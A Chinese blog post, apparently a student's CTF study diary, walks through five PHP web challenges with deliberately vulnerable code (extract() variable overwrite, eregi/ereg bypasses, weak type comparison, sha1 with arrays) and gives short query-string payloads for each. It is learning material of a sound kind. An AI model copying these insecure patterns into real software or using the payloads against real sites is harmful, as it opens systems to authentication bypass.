寒假CTF学习打卡笔记~Day2

发布于 2020-01-12  745 次阅读


extract变量覆盖

<?php
$flag='xxx';
extract($_GET);
if(isset($shiyan))
{
	$content=trim(file_get_contents($flag));
	if($shiyan==$content)
	{
		echo'flag{xxx}';
	}
	else
	{
		echo'Oh.no';
	}
}
?>

补缺补漏:

extract() 函数从数组中将变量导入到当前的符号表。

该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。

该函数返回成功设置的变量数目。

该函数产生的变量具有覆盖效果。

详细:https://www.cnblogs.com/goodswarm/p/10995256.html

这题要做的就是将原有的flag变量覆盖掉,让其file_get_contents 函数因无法正确获取文件而返回一个空值即可。

Payload: ?shiyan=&flag=1

urldecode二次编码绕过

<?php
if(eregi("hackerDJ",$_GET[id])) {
	echo("not allowed!");
	exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
	echo "Access granted!";
	echo "flag";
}
?>

补缺补漏:

定义和用法
eregi()函数在一个字符串搜索指定的模式的字符串。搜索不区分大小写。Eregi()可以特别有用的检查有效性字符串,如密码。

可选的输入参数规则包含一个数组的所有匹配表达式,他们被正则表达式的括号分组。

返回值
如果匹配成功返回true,否则,则返回false

浏览器本身就会对传入的数据尝试URL解码,然后这里又加了一个urldecode()哈数,于是尝试二次encode绕过eregi()的检测。'%'的URL编码是%25

Payload: ?id=hackerD%254A

数组返回NULL绕过

<?php
$flag = "flag";

if (isset ($_GET['password'])) {
	if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
		echo 'You password must be alphanumeric';
	else if (strpos ($_GET['password'], '--') !== FALSE)
		die('Flag: ' . $flag);
else
	echo 'Invalid password';
}
?>

利用等于号比较漏洞,将传入的password改为数组就OK了=_=

弱类型整数大小比较绕过

$temp = $_GET['password'];
is_numeric($temp)?die("no numeric"):NULL;
if($temp>1336){
echo $flag;

这题之前好像NISA题库好像写过==懒得写了,Payload只要传入值大于1336然后后面加一个%20就可以绕过比较符号了

sha()函数比较绕过

<?php
$flag = "flag";
if (isset($_GET['name']) and isset($_GET['password']))
{
	var_dump($_GET['name']);
	echo "";
	var_dump($_GET['password']);
	var_dump(sha1($_GET['name']));
	var_dump(sha1($_GET['password']));
	if ($_GET['name'] == $_GET['password'])
		echo 'Your password can not be your name!';
	else if (sha1($_GET['name']) === sha1($_GET['password']))
		die('Flag: '.$flag);
	else
		echo 'Invalid password.';
}
else
	echo 'Login first!';
?>

这题好像传入一个数组也可以??那这个题目和md5绕过有啥区别????

反正Payload是?name[]=qw&password[]=1

啊啊啊好冷我还是赶紧睡觉去吧QAQ


等风来,不如追风去。